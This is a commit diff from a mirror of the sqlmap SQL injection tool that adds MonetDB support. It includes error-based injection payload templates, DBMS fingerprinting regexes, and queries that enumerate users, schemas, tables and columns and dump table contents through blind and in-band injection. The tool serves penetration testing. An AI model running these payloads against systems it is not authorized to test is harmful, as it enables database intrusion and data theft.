mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-25 11:03:47 +03:00
Adding support for MonetDB
This commit is contained in:
parent
1cfe370276
commit
1087396d88
|
@ -169,4 +169,10 @@
|
|||
<dbms value="H2">
|
||||
<error regexp="org\.h2\.jdbc"/>
|
||||
</dbms>
|
||||
|
||||
<!-- MonetDB -->
|
||||
<dbms value="MonetDB">
|
||||
<error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
|
||||
<error regexp="\[MonetDB\]\[ODBC Driver"/>
|
||||
</dbms>
|
||||
</root>
|
||||
|
|
|
@ -704,6 +704,44 @@
|
|||
<dbms>Firebird</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MonetDB AND error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MonetDB</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MonetDB OR error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>3</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,9</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MonetDB</dbms>
|
||||
</details>
|
||||
</test>
|
||||
<!--
|
||||
TODO: if possible, add payload for SQLite, Microsoft Access,
|
||||
and SAP MaxDB - no known techniques at this time
|
||||
|
|
|
@ -531,7 +531,7 @@
|
|||
</roles>
|
||||
<statements/>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %%s"/>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT MIN(%s) FROM %s WHERE CHR(%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CHR(%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s) AS qq"/>
|
||||
</dump_table>
|
||||
</dbms>
|
||||
|
@ -876,4 +876,70 @@
|
|||
<search_table/>
|
||||
<search_column/>
|
||||
</dbms>
|
||||
|
||||
<!-- MonetDB -->
|
||||
<dbms value="MonetDB">
|
||||
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
<isnull query="COALESCE(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="LIMIT %d OFFSET %d"/>
|
||||
<limitregexp query="\s+LIMIT\s+([\d]+)\s*OFFSET\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||
<limitgroupstart query="1"/>
|
||||
<limitgroupstop query="2"/>
|
||||
<limitstring query=" LIMIT "/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--" query2="#"/>
|
||||
<substring query="SUBSTRING((%s),%d,%d)"/>
|
||||
<concatenate query="CONCAT(%s,%s)"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<hex/>
|
||||
<inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
|
||||
<banner query="SELECT value FROM environment WHERE name='monet_version'"/>
|
||||
<current_user query="CURRENT_USER"/>
|
||||
<current_db query="SELECT CURRENT_SCHEMA" query2="SELECT value FROM environment WHERE name='gdk_dbname'"/>
|
||||
<hostname/>
|
||||
<table_comment/>
|
||||
<column_comment/>
|
||||
<is_dba query="(SELECT grantor FROM auths WHERE name=CURRENT_USER)=0"/>
|
||||
<check_udf/>
|
||||
<users>
|
||||
<inband query="SELECT name FROM sys.users"/>
|
||||
<!-- NOTE: LIMIT %d OFFSET %d not supported inside subqueries -->
|
||||
<blind query="SELECT name FROM (SELECT name,row_number() over() AS y FROM sys.users)x WHERE x.y-1=%d" count="SELECT COUNT(name) FROM sys.users"/>
|
||||
</users>
|
||||
<passwords/>
|
||||
<privileges/>
|
||||
<roles/>
|
||||
<statements/>
|
||||
<dbs>
|
||||
<inband query="SELECT name FROM schemas"/>
|
||||
<blind query="SELECT name FROM (SELECT name,row_number() over() AS y FROM sys.schemas)x WHERE x.y-1=%d" count="SELECT COUNT(DISTINCT(name)) FROM schemas"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false"/>
|
||||
<blind query="SELECT name FROM (SELECT tables.name,row_number() over() AS y FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s')x WHERE x.y-1=%d" count="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT name,type FROM columns WHERE table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s' AND tables.id=table_id)" condition="name"/>
|
||||
<blind query="SELECT name FROM (SELECT name,row_number() over() AS y FROM columns WHERE table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s'))x WHERE x.y-1=%d" query2="SELECT type FROM columns WHERE name='%s' AND table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s')" count="SELECT COUNT(name) FROM columns WHERE table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s')" condition="name"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s"/>
|
||||
<blind query="SELECT z FROM (SELECT %s AS z,row_number() over() AS y FROM %s.%s)x WHERE x.y-1=%d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT schemas.name FROM schemas WHERE %s" condition="schemas.name"/>
|
||||
<blind query="SELECT DISTINCT(schemas.name) FROM schemas WHERE %s" count="SELECT COUNT(DISTINCT(schemas.name)) FROM schemas WHERE %s" condition="schemas.name"/>
|
||||
</search_db>
|
||||
<search_table>
|
||||
<inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" condition="tables.name" condition2="schemas.name"/>
|
||||
<blind query="SELECT DISTINCT(schemas.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" query2="SELECT DISTINCT(tables.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" count="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" count2="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" condition="tables.name" condition2="schemas.name"/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE %s" condition="columns.name" condition2="schemas.name" condition3="tables.name"/>
|
||||
<blind query="SELECT DISTINCT(schemas.name) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE %s" query2="SELECT DISTINCT(tables.name) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE schemas.name='%s'" count="SELECT COUNT(DISTINCT(schemas.name)) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE %s" count2="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE schemas.name='%s'" condition="columns.name" condition2="schemas.name" condition3="tables.name"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
</root>
|
||||
|
|
|
@ -24,6 +24,7 @@ from lib.core.settings import DB2_ALIASES
|
|||
from lib.core.settings import HSQLDB_ALIASES
|
||||
from lib.core.settings import H2_ALIASES
|
||||
from lib.core.settings import INFORMIX_ALIASES
|
||||
from lib.core.settings import MONETDB_ALIASES
|
||||
from lib.utils.sqlalchemy import SQLAlchemy
|
||||
|
||||
from plugins.dbms.mssqlserver import MSSQLServerMap
|
||||
|
@ -52,6 +53,8 @@ from plugins.dbms.h2 import H2Map
|
|||
from plugins.dbms.h2.connector import Connector as H2Conn
|
||||
from plugins.dbms.informix import InformixMap
|
||||
from plugins.dbms.informix.connector import Connector as InformixConn
|
||||
from plugins.dbms.monetdb import MonetDBMap
|
||||
from plugins.dbms.monetdb.connector import Connector as MonetDBConn
|
||||
|
||||
def setHandler():
|
||||
"""
|
||||
|
@ -73,6 +76,7 @@ def setHandler():
|
|||
(DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
|
||||
(DBMS.H2, H2_ALIASES, H2Map, H2Conn),
|
||||
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
|
||||
(DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn),
|
||||
]
|
||||
|
||||
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
|
||||
|
|
|
@ -648,7 +648,7 @@ class Agent(object):
|
|||
elif fieldsNoSelect:
|
||||
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB):
|
||||
if fieldsExists:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
||||
concatenatedQuery += "||'%s'" % kb.chars.stop
|
||||
|
@ -941,6 +941,16 @@ class Agent(object):
|
|||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
||||
limitedQuery += " %s" % limitStr
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MONETDB,):
|
||||
if query.startswith("SELECT ") and field is not None and field in query:
|
||||
original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0]
|
||||
for part in original.split(','):
|
||||
if re.search(r"\b%s\b" % re.escape(field), part):
|
||||
_ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1)
|
||||
replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num)
|
||||
limitedQuery = replacement
|
||||
break
|
||||
|
||||
elif Backend.isDbms(DBMS.HSQLDB):
|
||||
match = re.search(r"ORDER BY [^ ]+", limitedQuery)
|
||||
if match:
|
||||
|
|
|
@ -147,6 +147,7 @@ from lib.core.settings import NETSCAPE_FORMAT_HEADER_COOKIES
|
|||
from lib.core.settings import NULL
|
||||
from lib.core.settings import PARAMETER_AMP_MARKER
|
||||
from lib.core.settings import PARAMETER_SEMICOLON_MARKER
|
||||
from lib.core.settings import PARAMETER_PERCENTAGE_MARKER
|
||||
from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
|
||||
from lib.core.settings import PARTIAL_VALUE_MARKER
|
||||
from lib.core.settings import PAYLOAD_DELIMITER
|
||||
|
@ -2021,6 +2022,8 @@ def safeStringFormat(format_, params):
|
|||
if retVal.count("%s", start, end) == len(params):
|
||||
for param in params:
|
||||
index = retVal.find("%s", start)
|
||||
if isinstance(param, six.string_types):
|
||||
param = param.replace('%', PARAMETER_PERCENTAGE_MARKER)
|
||||
retVal = retVal[:index] + getUnicode(param) + retVal[index + 2:]
|
||||
else:
|
||||
if any('%s' in _ for _ in conf.parameters.values()):
|
||||
|
@ -2046,7 +2049,7 @@ def safeStringFormat(format_, params):
|
|||
else:
|
||||
break
|
||||
|
||||
retVal = getText(retVal)
|
||||
retVal = getText(retVal).replace(PARAMETER_PERCENTAGE_MARKER, '%')
|
||||
|
||||
return retVal
|
||||
|
||||
|
@ -4067,7 +4070,7 @@ def safeSQLIdentificatorNaming(name, isTable=False):
|
|||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
|
||||
retVal = "`%s`" % retVal
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB):
|
||||
retVal = "\"%s\"" % retVal
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
|
||||
retVal = "\"%s\"" % retVal.upper()
|
||||
|
@ -4105,7 +4108,7 @@ def unsafeSQLIdentificatorNaming(name):
|
|||
if isinstance(name, six.string_types):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE):
|
||||
retVal = name.replace("`", "")
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB, DBMS.MONETDB):
|
||||
retVal = name.replace("\"", "")
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
|
||||
retVal = name.replace("\"", "").upper()
|
||||
|
|
|
@ -17,6 +17,7 @@ from lib.core.settings import H2_ALIASES
|
|||
from lib.core.settings import HSQLDB_ALIASES
|
||||
from lib.core.settings import INFORMIX_ALIASES
|
||||
from lib.core.settings import MAXDB_ALIASES
|
||||
from lib.core.settings import MONETDB_ALIASES
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MYSQL_ALIASES
|
||||
from lib.core.settings import NULL
|
||||
|
@ -198,6 +199,7 @@ DBMS_DICT = {
|
|||
DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
|
||||
DBMS.H2: (H2_ALIASES, None, None, None),
|
||||
DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
|
||||
DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"),
|
||||
}
|
||||
|
||||
FROM_DUMMY_TABLE = {
|
||||
|
|
|
@ -166,7 +166,7 @@ class Dump(object):
|
|||
def currentDb(self, data):
|
||||
if Backend.isDbms(DBMS.MAXDB):
|
||||
self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB):
|
||||
self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||
else:
|
||||
self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||
|
|
|
@ -45,6 +45,7 @@ class DBMS(object):
|
|||
HSQLDB = "HSQLDB"
|
||||
H2 = "H2"
|
||||
INFORMIX = "Informix"
|
||||
MONETDB = "MonetDB"
|
||||
|
||||
class DBMS_DIRECTORY_NAME(object):
|
||||
ACCESS = "access"
|
||||
|
@ -60,6 +61,7 @@ class DBMS_DIRECTORY_NAME(object):
|
|||
HSQLDB = "hsqldb"
|
||||
H2 = "h2"
|
||||
INFORMIX = "informix"
|
||||
MONETDB = "monetdb"
|
||||
|
||||
class CUSTOM_LOGGING(object):
|
||||
PAYLOAD = 9
|
||||
|
|
|
@ -18,7 +18,7 @@ from lib.core.enums import OS
|
|||
from thirdparty.six import unichr as _unichr
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.4.1.25"
|
||||
VERSION = "1.4.1.26"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
|
@ -60,6 +60,7 @@ UPPER_RATIO_BOUND = 0.98
|
|||
PARAMETER_AMP_MARKER = "__AMP__"
|
||||
PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__"
|
||||
BOUNDARY_BACKSLASH_MARKER = "__BACKSLASH__"
|
||||
PARAMETER_PERCENTAGE_MARKER = "__PERCENTAGE__"
|
||||
PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__"
|
||||
PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__"
|
||||
URI_QUESTION_MARKER = "__QUESTION_MARK__"
|
||||
|
@ -257,6 +258,7 @@ DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "
|
|||
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
|
||||
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",)
|
||||
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
|
||||
MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler")
|
||||
|
||||
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
|
||||
MYSQL_ALIASES = ("mysql", "my", "mariadb", "maria")
|
||||
|
@ -265,19 +267,20 @@ ORACLE_ALIASES = ("oracle", "orcl", "ora", "or")
|
|||
SQLITE_ALIASES = ("sqlite", "sqlite3")
|
||||
ACCESS_ALIASES = ("msaccess", "access", "jet", "microsoft access")
|
||||
FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb")
|
||||
MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db")
|
||||
MAXDB_ALIASES = ("max", "maxdb", "sap maxdb", "sap db")
|
||||
SYBASE_ALIASES = ("sybase", "sybase sql server")
|
||||
DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
|
||||
HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
|
||||
H2_ALIASES = ("h2",)
|
||||
INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
|
||||
MONETDB_ALIASES = ("monet", "monetdb",)
|
||||
|
||||
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
|
||||
|
||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES
|
||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES
|
||||
SUPPORTED_OS = ("linux", "windows")
|
||||
|
||||
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES))
|
||||
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES))
|
||||
|
||||
USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
|
||||
REFERER_ALIASES = ("ref", "referer", "referrer")
|
||||
|
|
|
@ -105,11 +105,13 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
|
|||
if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads):
|
||||
|
||||
if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB):
|
||||
alias = randomStr(lowercase=True, seed=hash(expression))
|
||||
expression = "SELECT %s FROM (%s)" % (field if '.' not in field else re.sub(r".+\.", "%s." % alias, field), expression) # Note: MonetDB as a prime example
|
||||
expression += " AS %s" % alias
|
||||
else:
|
||||
expression = "SELECT %s FROM (%s)" % (field, expression)
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
||||
expression += " AS %s" % randomStr(lowercase=True, seed=hash(expression))
|
||||
|
||||
if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields:
|
||||
nulledCastedField = agent.nullAndCastField(field)
|
||||
injExpression = expression.replace(field, nulledCastedField, 1)
|
||||
|
|
|
@ -46,6 +46,8 @@ def checkDependencies():
|
|||
__import__("jpype")
|
||||
elif dbmsName == DBMS.INFORMIX:
|
||||
__import__("ibm_db_dbi")
|
||||
elif dbmsName == DBMS.MONETDB:
|
||||
__import__("pymonetdb")
|
||||
except:
|
||||
warnMsg = "sqlmap requires '%s' third-party library " % data[1]
|
||||
warnMsg += "in order to directly connect to the DBMS "
|
||||
|
|
|
@ -10,7 +10,7 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
|||
|
||||
class Enumeration(GenericEnumeration):
|
||||
def getPasswordHashes(self):
|
||||
warnMsg = "on DB2 it is not possible to list password hashes"
|
||||
warnMsg = "on DB2 it is not possible to enumerate password hashes"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return {}
|
||||
|
|
|
@ -43,7 +43,7 @@ class Enumeration(GenericEnumeration):
|
|||
return H2_DEFAULT_SCHEMA
|
||||
|
||||
def getPasswordHashes(self):
|
||||
warnMsg = "on H2 it is not possible to list password hashes"
|
||||
warnMsg = "on H2 it is not possible to enumerate password hashes"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return {}
|
||||
|
|
30
plugins/dbms/monetdb/__init__.py
Normal file
30
plugins/dbms/monetdb/__init__.py
Normal file
|
@ -0,0 +1,30 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.settings import MONETDB_SYSTEM_DBS
|
||||
from lib.core.unescaper import unescaper
|
||||
|
||||
from plugins.dbms.monetdb.enumeration import Enumeration
|
||||
from plugins.dbms.monetdb.filesystem import Filesystem
|
||||
from plugins.dbms.monetdb.fingerprint import Fingerprint
|
||||
from plugins.dbms.monetdb.syntax import Syntax
|
||||
from plugins.dbms.monetdb.takeover import Takeover
|
||||
from plugins.generic.misc import Miscellaneous
|
||||
|
||||
class MonetDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
"""
|
||||
This class defines MonetDB methods
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.excludeDbsList = MONETDB_SYSTEM_DBS
|
||||
|
||||
for cls in self.__class__.__bases__:
|
||||
cls.__init__(self)
|
||||
|
||||
unescaper[DBMS.MONETDB] = Syntax.escape
|
59
plugins/dbms/monetdb/connector.py
Normal file
59
plugins/dbms/monetdb/connector.py
Normal file
|
@ -0,0 +1,59 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
try:
|
||||
import pymonetdb
|
||||
except:
|
||||
pass
|
||||
|
||||
import logging
|
||||
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from plugins.generic.connector import Connector as GenericConnector
|
||||
|
||||
class Connector(GenericConnector):
|
||||
"""
|
||||
Homepage: https://github.com/gijzelaerr/pymonetdb
|
||||
User guide: https://pymonetdb.readthedocs.io/en/latest/index.html
|
||||
API: https://www.python.org/dev/peps/pep-0249/
|
||||
License: Mozilla Public License 2.0
|
||||
"""
|
||||
|
||||
def connect(self):
|
||||
self.initConnection()
|
||||
|
||||
try:
|
||||
self.connector = pymonetdb.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout)
|
||||
except pymonetdb.OperationalError as ex:
|
||||
raise SqlmapConnectionException(getSafeExString(ex))
|
||||
|
||||
self.initCursor()
|
||||
self.printConnected()
|
||||
|
||||
def fetchall(self):
|
||||
try:
|
||||
return self.cursor.fetchall()
|
||||
except pymonetdb.ProgrammingError as ex:
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex))
|
||||
return None
|
||||
|
||||
def execute(self, query):
|
||||
try:
|
||||
self.cursor.execute(query)
|
||||
except (pymonetdb.OperationalError, pymonetdb.ProgrammingError) as ex:
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex))
|
||||
except pymonetdb.InternalError as ex:
|
||||
raise SqlmapConnectionException(getSafeExString(ex))
|
||||
|
||||
self.connector.commit()
|
||||
|
||||
def select(self, query):
|
||||
self.execute(query)
|
||||
return self.fetchall()
|
34
plugins/dbms/monetdb/enumeration.py
Normal file
34
plugins/dbms/monetdb/enumeration.py
Normal file
|
@ -0,0 +1,34 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.data import logger
|
||||
from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
||||
|
||||
class Enumeration(GenericEnumeration):
|
||||
def getPasswordHashes(self):
|
||||
warnMsg = "on MonetDB it is not possible to enumerate password hashes"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return {}
|
||||
|
||||
def getStatements(self):
|
||||
warnMsg = "on MonetDB it is not possible to enumerate the SQL statements"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return []
|
||||
|
||||
def getPrivileges(self, *args, **kwargs):
|
||||
warnMsg = "on MonetDB it is not possible to enumerate the user privileges"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return {}
|
||||
|
||||
def getRoles(self, *args, **kwargs):
|
||||
warnMsg = "on MonetDB it is not possible to enumerate the user roles"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return {}
